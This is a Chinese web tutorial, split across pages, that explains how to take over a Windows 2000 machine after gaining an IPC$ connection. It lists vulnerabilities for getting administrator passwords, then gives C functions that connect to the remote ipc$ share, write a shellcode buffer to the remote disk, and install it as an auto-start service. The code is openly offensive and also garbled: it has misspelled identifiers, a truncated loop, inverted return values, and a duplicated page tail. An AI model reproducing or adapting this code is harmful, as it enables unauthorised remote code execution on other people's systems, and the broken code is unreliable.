当前位置:Linux教程 - Linux综合 - C和C++建立IPC连接之后续操作

C和C++建立IPC连接之后续操作

  如何建立IPC连接呢?不用我说,大家都知道:    net use \\ip\\ipc$ passWord /user:user。在这里,我们应想办法得到Administrator的权限的帐户和密码,方法有很多:    ⑴流光扫描    ⑵NULL.printer缓冲区溢出    ⑶MS SQL空密码    ⑷Unicode漏洞    ⑸远程终端输入法漏洞    ⑹idq.dll漏洞    ……太多了!具体方法我就不说了。    得到Windows 2k administrator权限以后,可以做什么呢?想做什么就做什么呗!装什么服务的,当然是自己写的服务程序啦!你看s如何呢?下面就从编程的角度的来谈谈,读者要有一定的网络编程基础,同时有的地方没给出错误检查,有部分代码是参考别人的。一些函数和结构请参考MSDN。不足之处还请读者自己完善,也可以和我交流:[email protected]。下面请看:    1、如何建立IPC连接,请看以下代码: BOOL ConnetIPC(char * RemoteName,char * User,char * PassWord) { char tmp[128]="\\\\";   strcat(tmp,RemoteName);   strcat(tmp,"\\ipc$");   NETRESOUCE NetResouce;   NetResouce.lpRemoteName=tmp;   NetResouce.dwType=RESOURCETYPE_ANY;   NetResouce.lpProvider=NULL;   if (WnetAddConnection2(&NetResouce,PassWord,User,FLASE)==NO_ERROR)    //建立连接!    return FALSE;   else    return TRUE; }    是不是很简单?对!就这么简单!那么,接着来吧! 2、开始把程序写到主机上吧! BOOL SendFile(char *RemotePathAndFile) {   HANDLE hRF;   unsigned char ShellCode[]="write code here,such as \x90\x90";   int WrittenSize=0;   int Lenth=sizeof(ShellCode);   hRF=CreateFile(RemotePathAndFile, GENERIC_ALL,FILE_SHARE_WR99vE, NULL,   CREATE_ALWAYS,   FILE_ATTRIBUTE_NORMAL,   NUL L);//建立文件 if (hRF==INVALID_HANDLE_values) return FALSE; //写文件过程: for(int i=0;i if(!WriteFile(hRF,&ShellCode,1,&WrittenSize,NULL) return FALSE; Printf("Send file succeed!\n"); }    3、就要成功了,最后一步啦!--启动服务!    步骤:a、启动服务控制管理器(SCM),获得以SCM_HANDLE为类型的hSCM句柄;       b、建立服务(CreateService),也是返回SCM_HANDLE型的句柄hSCS;       c、启动服务(StartService)       d、顺便提提:ControService可以控制服务的状态       如: ControlService(hSCS,SERVICE_CONTROL_STOP,NULL);         //停止服务         ControlService(hSCS,SERVICE_CONTROL_PAUSE,NULL);         //暂停服务
[1] [2] 下一页 

   请看下面代码: BOOL InstallService(char * Target,char * ServiceName,char * Filename,) { SC_HANDLE hSCM=NULL,hSCS=NULL; SERVICE_STATUS ServiceStatus; hSCM=OpenSCManager(Target,NULL,SC_MANAGER_ALL_Access); hSCS=CreateService(hSCM, //句柄 ServiceName,//服务开始名 ServiceName,//显示服务名 SERVICE_ALL_ACCESS,//服务访问类型 SERVICE_WIN32_OWN_PROCESS,//服务类型 SERVICE_AUTO_START,//自动启动服务 SERVICE_ERROR_IGNORE,//忽略错误 FileName,//启动的文件名 NULL,//name of load ordering group (载入组名) NULL,//标签标识符 NULL,//相关性数组名 NULL,//帐户(当前) NULL);//密码(当前) if(StartServic(hSCS, argc,//参数数 argv);//参数 {   Sleep(30);//延时,开始启动服务 while(QueryServiceStatus(hSCS,&ServiceStatus) { if(ServiceStatus.dwCurrentState==SERVICE_START_PENDDING) Sleep(30); else break; } if(ServiceStatus.dwCurrentState==SERVICE_RUNNING) return TRUE; else FALSE; } }    好了,终于完成了这三步,大家可以慢慢享受自己的劳动成果了!    注意:以上程序仅供参考,请在自己理解以后自己把它们写成完整的程序,不要直接照搬!

(出处:http://www.sheup.com)


上一页 [1] [2] 

Sleep(30); else break; } if(ServiceStatus.dwCurrentState==SERVICE_RUNNING) return TRUE; else FALSE; } }    好了,终于完成了这三步,大家可以慢慢享受自己的劳动成果了!    注意:以上程序仅供参考,请在自己理解以后自己把它们写成完整的程序,不要直接照搬!

(出处:http://www.sheup.com/)


上一页 [1] [2] [3]